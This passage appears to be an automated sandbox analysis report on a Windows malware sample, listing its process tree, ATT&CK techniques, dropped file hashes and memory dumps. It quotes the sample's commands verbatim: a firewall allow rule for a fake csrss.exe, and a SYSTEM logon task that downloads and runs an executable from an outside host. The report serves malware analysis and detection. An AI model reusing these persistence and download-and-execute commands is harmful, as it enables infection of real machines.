PID 988 wrote to memory of 2000	988	2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe	csrss.exe

C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
"C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1092

C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe
"C:\Users\Admin\AppData\Local\Temp\2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:988

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:316

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1436

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1500

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1948

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1320

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20221125162529.log C:\Windows\Logs\CBS\CbsPersist_20221125162529.cab
1⤵
- Drops file in Windows directory
PID:2036

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
eea23ae4a9b1b328d815f93a7ce6cc7b

SHA1
a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff

SHA256
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904

SHA512
9daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
eea23ae4a9b1b328d815f93a7ce6cc7b

SHA1
a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff

SHA256
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904

SHA512
9daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac

Download Submit
\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
eea23ae4a9b1b328d815f93a7ce6cc7b

SHA1
a7ad3ab55fd96480dcb6de3c0670ebe533ff6fff

SHA256
2b9bbb812a7cc221a7ee5415a6568d202facbc8cc17498efd9414579e1c73904

SHA512
9daf8b9ddd76137faa2287d6a136236be0c04667f4196f9ffb633f6a35e6c866c5c8a912f5cdb174b8ccd3dc2a1f7e7979874021dc47315ddeffc55f90e99cac

Download Submit
memory/316-61-0x0000000000000000-mapping.dmp

Download
memory/988-72-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/988-65-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/988-66-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/988-59-0x0000000003550000-0x00000000038F5000-memory.dmp

Filesize
3.6MB

Download
memory/988-62-0x0000000003550000-0x00000000038F5000-memory.dmp

Filesize
3.6MB

Download
memory/1092-58-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/1092-55-0x0000000003480000-0x0000000003825000-memory.dmp

Filesize
3.6MB

Download
memory/1092-56-0x0000000003830000-0x0000000003F22000-memory.dmp

Filesize
6.9MB

Download
memory/1092-57-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/1092-54-0x0000000003480000-0x0000000003825000-memory.dmp

Filesize
3.6MB

Download
memory/1092-60-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/1320-80-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1320-84-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1436-63-0x0000000000000000-mapping.dmp

Download
memory/1436-64-0x000007FEFB761000-0x000007FEFB763000-memory.dmp

Filesize
8KB

Download
memory/2000-73-0x00000000034F0000-0x0000000003895000-memory.dmp

Filesize
3.6MB

Download
memory/2000-71-0x00000000034F0000-0x0000000003895000-memory.dmp

Filesize
3.6MB

Download
memory/2000-69-0x0000000000000000-mapping.dmp

Download
memory/2000-75-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download
memory/2000-74-0x0000000000400000-0x000000000314B000-memory.dmp

Filesize
45.3MB

Download